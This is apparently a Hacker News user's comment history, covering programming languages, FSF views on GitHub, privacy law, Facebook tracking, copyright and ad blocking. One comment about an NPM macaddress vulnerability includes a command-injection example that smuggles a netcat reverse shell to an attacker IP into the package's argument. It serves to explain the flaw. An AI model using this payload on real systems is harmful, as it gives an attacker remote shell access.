parenthephobia | 7 years ago | on: Gluon – A static, type-inferred and embeddable language written in Rust
parenthephobia's comments
parenthephobia | 7 years ago | on: Critical vulnerability of NPM package macaddress
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.
macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})parenthephobia | 7 years ago | on: Please, no GitHub (2015)
RMS, who leads the FSF, which owns GNU, thinks that GNU projects should not be hosted on services which encourage users to run proprietary software on their PC, or which don't encourage users to use the FSF's preferred license.
To me, this stance does not seem at all nonsensical.
parenthephobia | 7 years ago | on: RMS on GitHub (2015)
parenthephobia | 7 years ago | on: Shutting Down Forum (GDPR)
How will they do that, and on what legal basis?
parenthephobia | 7 years ago | on: HTTP headers we don't want
If. Much, if not most, server software is written under the implicit assumption that it will not be under attack.
parenthephobia | 7 years ago | on: Airbnb's new typeface
parenthephobia | 7 years ago | on: Ask HN: Non-disparagement agreement that never expires
In the US at least, courts prefer to use the common meaning of words whenever it's reasonable to do so. If the common meaning doesn't make sense in context, they won't simply fall back on a legal definition, but will look for evidence of what the parties actually intended the words to mean.
In the case of disparagement, several courts have held that the common meaning of "disparage" is what applies to non-disparagement clauses.
https://www.michiganemploymentlawadvisor.com/terminating-the... https://caselaw.findlaw.com/me-supreme-judicial-court/107021... https://caselaw.findlaw.com/ga-court-of-appeals/1448243.html
parenthephobia | 7 years ago | on: GNU Mcron
parenthephobia | 7 years ago | on: Medium tries to prevent people reading deleted articles on the Wayback Machine?
A sentiment that is harder to sell if people erase all evidence of their mistakes.
parenthephobia | 7 years ago | on: Hello Go
According to TIOBE, 1% of programmers are using Go, whilst 23% are using Java or C++.
If that is to be believed, developers do not appear to prefer simple languages. Or, Java and C++ are simple languages. Or, language selection is not based on preference.
parenthephobia | 8 years ago | on: I was Zuckerberg’s speechwriter
> We can all opt out of Facebook.
Can we? What is the practical effect of doing so? Will they stop tracking us on the web? Will they stop gathering data about us via people with whom we are associated?
Facebook is a crowd-sourced global surveillance program from which there is no real opt-out and over which there are no checks and balances because most of the people running it don't even think they're running a surveillance program.
parenthephobia | 8 years ago | on: 150M MyFitnessPal Accounts Hacked, Says Under Armour
parenthephobia | 8 years ago | on: Void Linux: Into the Void
Void Linux uses runit, which was released in 2004, so I guess they agree.
parenthephobia | 8 years ago | on: Judge grants search warrant for Cambridge Analytica's offices
But, receiving, storing, and/or processing personal data without consent is, in most situations, likely to be against the the Privacy and Electronic Communication Regulations and the Data Protection Act. Additionally, information about political affiliation.
The key point in this case is that CA didn't have consent. CA don't dispute this, but say that they believed at the time that they did. It is a defence to show that you "exercised all due diligence" in complying.
ICO will be looking for not only evidence of the actual use of personal data, but also evidence regarding whether and to what extent CA were knowingly or recklessly non-compliant.
parenthephobia | 8 years ago | on: Why I Don't Like Golang (2016)
How? Looking at the documentation, you still have to write at least three functions for each type you want to sort.
parenthephobia | 8 years ago | on: Why I Don't Like Golang (2016)
parenthephobia | 8 years ago | on: Post-mortem of this weekend's NPM incident
Although you won't get updates without asking for them - I'm not sure that's a bad thing - you can be assured that you'll either get the package you were expecting or no package at all.
parenthephobia | 8 years ago | on: 2018 Is the Last Year of America's Public Domain Drought
There's no chance Disney will be happy with any solution which involves losing any level of control over any copyright they currently own (or will own in the future).
Although they would, I'm sure, be happy for other people to have to pay to maintain their copyright, making it easier to plagiarise poorer creators.
parenthephobia | 8 years ago | on: Measuring and Disrupting Anti-Adblockers Using Differential Execution Analysis [pdf]
No, but stores are usually happy for me to not look at the displays if I don't want to. Staff don't follow me around putting up displays in front of the shelves I'm looking at, sneaking things I don't want into my basket, or following me after I leave the store to keep showing me displays. Nor do they outsource these things to unvetted lowest bidders, and swear off responsibility when the people they've contracted steal my car whilst I'm in the shop.
In languages where there can be functions with no arguments, if referring to the function without parentheses calls it, it can be inconvenient to get a reference to the function itself.